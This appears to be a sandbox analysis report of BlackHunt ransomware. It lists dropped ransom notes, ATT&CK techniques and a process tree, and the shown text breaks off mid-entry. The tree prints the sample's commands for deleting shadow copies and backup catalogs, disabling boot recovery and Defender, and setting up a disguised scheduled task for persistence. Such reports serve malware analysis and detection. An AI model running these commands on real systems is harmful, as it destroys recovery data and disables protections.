File created	C:\Program Files\VideoLAN\VLC\plugins\d3d11\#BlackHunt_ReadMe.hta	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\DVD Maker\it-IT\#BlackHunt_Private.key	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng2.txt	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\#BlackHunt_ReadMe.txt	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Funafuti	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Tongatapu	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-snaptracer_ja.jar	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\#BlackHunt_ReadMe.txt	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Belgrade	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-attach.jar	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToScenesBackground_PAL.wmv	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+3	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\#BlackHunt_ReadMe.hta	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SecStoreFile.ico	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#BlackHunt_ReadMe.hta	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\stream_filter\#BlackHunt_ReadMe.hta	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\jvm.hprof.txt	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Araguaina	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Belize	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\jdk15\#BlackHunt_ReadMe.hta	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\#BlackHunt_ReadMe.txt	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-windows.jar	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationRight_SelectionSubpicture.png	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\ECLIPSE_.SF	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rcp.application.ja_5.5.0.165303.jar	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\#BlackHunt_ReadMe.hta	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMain.wmv	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\MANIFEST.MF	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.repository_2.3.0.v20131211-1531.jar	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Australia\Eucla	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\COPYING.txt	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\jni.h	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\currency.data	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-windows_ja.jar	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-dialogs_zh_CN.jar	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-dialogs.jar	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\GMT	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.provider.filetransfer.ssl_1.0.0.v20140827-1444.jar	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_ReadMe.hta	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationUp_SelectionSubpicture.png	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\#BlackHunt_ReadMe.txt	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\classfile_constants.h	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1572	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
776	vssadmin.exe
2680	vssadmin.exe
2560	vssadmin.exe
2672	vssadmin.exe
3684	vssadmin.exe
2872	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3780	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4072	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2792	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
Token: SeRestorePrivilege	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
Token: SeBackupPrivilege	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
Token: SeTakeOwnershipPrivilege	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
Token: SeAuditPrivilege	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
Token: SeSecurityPrivilege	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
Token: SeIncBasePriorityPrivilege	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
Token: SeBackupPrivilege	328	vssvc.exe
Token: SeRestorePrivilege	328	vssvc.exe
Token: SeAuditPrivilege	328	vssvc.exe
Token: SeBackupPrivilege	2728	wbengine.exe
Token: SeRestorePrivilege	2728	wbengine.exe
Token: SeSecurityPrivilege	2728	wbengine.exe
Token: SeSecurityPrivilege	2168	wevtutil.exe
Token: SeBackupPrivilege	2168	wevtutil.exe
Token: SeSecurityPrivilege	3956	wevtutil.exe
Token: SeSecurityPrivilege	3420	wevtutil.exe
Token: SeBackupPrivilege	3420	wevtutil.exe
Token: SeBackupPrivilege	3956	wevtutil.exe
Token: SeSecurityPrivilege	3036	wevtutil.exe
Token: SeBackupPrivilege	3036	wevtutil.exe
Token: SeSecurityPrivilege	3260	wevtutil.exe
Token: SeBackupPrivilege	3260	wevtutil.exe
Token: SeDebugPrivilege	3780	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1716 wrote to memory of 2716	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	29
PID 1716 wrote to memory of 2716	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	29
PID 1716 wrote to memory of 2716	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	29
PID 1716 wrote to memory of 2716	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	29
PID 1716 wrote to memory of 2784	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	153
PID 1716 wrote to memory of 2784	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	153
PID 1716 wrote to memory of 2784	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	153
PID 1716 wrote to memory of 2784	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	153
PID 2716 wrote to memory of 2720	2716	cmd.exe	151
PID 2716 wrote to memory of 2720	2716	cmd.exe	151
PID 2716 wrote to memory of 2720	2716	cmd.exe	151
PID 1716 wrote to memory of 2940	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	150
PID 1716 wrote to memory of 2940	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	150
PID 1716 wrote to memory of 2940	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	150
PID 1716 wrote to memory of 2940	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	150
PID 1716 wrote to memory of 2828	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	148
PID 1716 wrote to memory of 2828	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	148
PID 1716 wrote to memory of 2828	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	148
PID 1716 wrote to memory of 2828	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	148
PID 2784 wrote to memory of 2572	2784	cmd.exe	146
PID 2784 wrote to memory of 2572	2784	cmd.exe	146
PID 2784 wrote to memory of 2572	2784	cmd.exe	146
PID 1716 wrote to memory of 2780	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	213
PID 1716 wrote to memory of 2780	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	213
PID 1716 wrote to memory of 2780	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	213
PID 1716 wrote to memory of 2780	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	213
PID 1716 wrote to memory of 2600	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	143
PID 1716 wrote to memory of 2600	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	143
PID 1716 wrote to memory of 2600	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	143
PID 1716 wrote to memory of 2600	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	143
PID 2940 wrote to memory of 2892	2940	cmd.exe	142
PID 2940 wrote to memory of 2892	2940	cmd.exe	142
PID 2940 wrote to memory of 2892	2940	cmd.exe	142
PID 1716 wrote to memory of 2024	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	30
PID 1716 wrote to memory of 2024	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	30
PID 1716 wrote to memory of 2024	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	30
PID 1716 wrote to memory of 2024	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	30
PID 1716 wrote to memory of 2440	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	141
PID 1716 wrote to memory of 2440	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	141
PID 1716 wrote to memory of 2440	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	141
PID 1716 wrote to memory of 2440	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	141
PID 2828 wrote to memory of 2732	2828	cmd.exe	139
PID 2828 wrote to memory of 2732	2828	cmd.exe	139
PID 2828 wrote to memory of 2732	2828	cmd.exe	139
PID 1716 wrote to memory of 2736	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	160
PID 1716 wrote to memory of 2736	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	160
PID 1716 wrote to memory of 2736	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	160
PID 1716 wrote to memory of 2736	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	160
PID 1716 wrote to memory of 2568	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	33
PID 1716 wrote to memory of 2568	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	33
PID 1716 wrote to memory of 2568	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	33
PID 1716 wrote to memory of 2568	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	33
PID 2780 wrote to memory of 2596	2780	cmd.exe	136
PID 2780 wrote to memory of 2596	2780	cmd.exe	136
PID 2780 wrote to memory of 2596	2780	cmd.exe	136
PID 1716 wrote to memory of 2644	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	134
PID 1716 wrote to memory of 2644	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	134
PID 1716 wrote to memory of 2644	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	134
PID 1716 wrote to memory of 2644	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	134
PID 1716 wrote to memory of 3020	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	132
PID 1716 wrote to memory of 3020	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	132
PID 1716 wrote to memory of 3020	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	132
PID 1716 wrote to memory of 3020	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	132
PID 1716 wrote to memory of 3032	1716	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe	155

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe
"C:\Users\Admin\AppData\Local\Temp\a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1536
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2300
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:848
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2524
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1224
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2536
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1744
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1784
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2948
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1400
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:356
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe" /F
  2⤵
  PID:900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2252
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1464
- C:\Windows\System32\cmd.exe
